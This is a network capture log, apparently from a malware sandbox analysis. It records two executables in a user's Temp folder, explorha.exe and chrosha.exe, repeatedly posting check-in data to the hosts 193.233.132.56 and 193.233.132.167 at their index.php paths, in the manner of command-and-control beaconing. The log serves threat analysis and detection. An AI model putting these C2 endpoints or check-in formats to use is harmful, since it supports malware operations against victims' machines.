Apr 19, 2024 03:32:29.677577019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.5	50391	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:29.465657949 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:29.709728003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.5	50392	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:29.923275948 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:30.168143034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.5	50393	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:29.956307888 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:30.201739073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.5	50394	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:30.527277946 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:30.773710966 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.5	50395	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:30.549860001 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:30.791482925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.5	50396	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:31.022213936 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:31.268595934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.5	50397	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:31.045983076 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:31.298574924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.5	50398	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:31.638062000 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:31.890132904 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.5	50399	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:31.661407948 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:31.904953957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.5	50400	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:32.141104937 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:32.392848969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.5	50401	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:32.152057886 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:32.398381948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.5	50402	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:32.757859945 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:33.002264023 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.5	50403	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:32.763286114 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:33.011971951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.5	50404	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:33.254697084 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:33.506635904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.5	50405	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:33.264170885 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:33.516966105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.5	50406	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:33.869157076 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:34.118304968 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.5	50407	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:33.881031990 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:34.125248909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.5	50408	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:34.369216919 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:34.619044065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.5	50409	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:34.375514984 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:34.626148939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.5	50410	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:34.970312119 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:35.213387966 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.5	50411	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:34.994910002 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:35.246093035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.5	50412	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:35.466778040 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:35.717772007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.5	50413	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
